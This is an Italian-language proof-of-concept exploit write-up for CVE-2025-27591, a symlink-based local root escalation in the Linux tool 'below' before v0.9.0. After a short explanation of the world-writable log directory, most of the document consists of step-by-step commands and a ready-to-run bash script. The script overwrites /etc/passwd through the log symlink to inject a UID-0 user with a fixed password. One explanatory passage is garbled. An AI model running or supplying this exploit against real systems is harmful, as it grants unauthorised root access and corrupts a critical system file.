
Escalation locale dei privilegi tramite `below` (CVE-2025-27591) - PoC Exploit
Below è uno strumento Linux per registrare e visualizzare dati di sistema come l'utilizzo hardware e le metriche dei cgroup.
Nelle versioni precedenti alla v0.9.0, il servizio systemd di Below viene eseguito con privilegi root e crea directory e file di log scrivibili da tutti sotto /var/log/below. Questa configurazione insicura consente attacchi di symlink che permettono a un utente locale non privilegiato di elevare i propri privilegi a root.
A questo problema è stato assegnato CVE-2025-27591.
Il fix upstream è stato rilasciato nella v0.9.0.
/var/log/below/var/log/below abbia permessi 0777 a runtime./var/log/below/error_root.log con permessi 0666./etc/passwd).Questo comportamento bypassa l'indurimento del kernel protected_symlinks perché lo sticky bit non è applicato.
Puntando error_root.log a /etc/passwd, possiamo iniettare un nuovo utente root con una password nota.
Passo 1: Creare un backup di /etc/passwd.
Fai sempre un backup prima di modificare i file di sistema:
cp /etc/passwd /tmp/passwd.bak
Passo 2: Generare una voce utente malevola
HASH=$(openssl passwd -6 'rooted123')
echo "root2:$HASH:0:0:root:/root:/bin/bash" > /tmp/payload
Passo 3: Creare il symlink al log vulnerabile
rm -f /var/log/below/error_root.log
ln -s /etc/passwd /var/log/below/error_root.log
Passo 4: Triggerare la creazione del log
sudo /usr/bin/below replay --time "invalid" >/dev/null 2>&1
Passo 5: Sovrascrivere /etc/passwd
cat /tmp/payload > /var/log/below/error_root.log
Passo 6: Passare al nuovo utente root
su root2
# password: rooted123
#!/bin/bash
# CVE-2025-27591 Exploit - Escalata dei privilegi tramite 'below'
TARGET="/etc/passwd"
LINK_PATH="/var/log/below/error_root.log"
TMP_PAYLOAD="/tmp/payload"
BACKUP="/tmp/passwd.bak"
echo "[*] CVE-2025-27591 Exploit per l'escalata dei privilegi"
# Verifica l'accesso sudo a below
echo "[*] Controllo dei permessi sudo..."
if ! sudo -l | grep -q '/usr/bin/below'; then
echo "[!] 'below' non è disponibile tramite sudo. Uscita."
exit 1
fi
# Backup di /etc/passwd corrente
echo "[*] Backup di /etc/passwd in $BACKUP"
cp /etc/passwd "$BACKUP"
# Generazione dell'hash della password per l'utente 'root2' (password: rooted123)
echo "[*] Generazione dell'hash della password..."
HASH=$(openssl passwd -6 'rooted123')
# Preparazione della riga malevola per passwd
echo "[*] Creazione della riga malevola per passwd..."
echo "root2:$HASH:0:0:root:/root:/bin/bash" > "$TMP_PAYLOAD"
# Creazione del symlink
echo "[*] Collegamento $LINK_PATH a $TARGET"
rm -f "$LINK_PATH"
ln -sf "$TARGET" "$LINK_PATH"
# Trigger della creazione del log con --time non valido per forzare below a ricreare il log
echo "[*] Attivazione di 'below' per scrivere sul log collegato..."
sudo /usr/bin/below replay --time "invalid" >/dev/null 2>&1
# Sovrascrittura del file passwd tramite symlink
echo "[*] Iniezione dell'utente malevolo in /etc/passwd"
cat "$TMP_PAYLOAD" > "$LINK_PATH"
# Test di accesso
echo "[*] Prova a passare a 'root2' usando la password: rooted123"
su root2
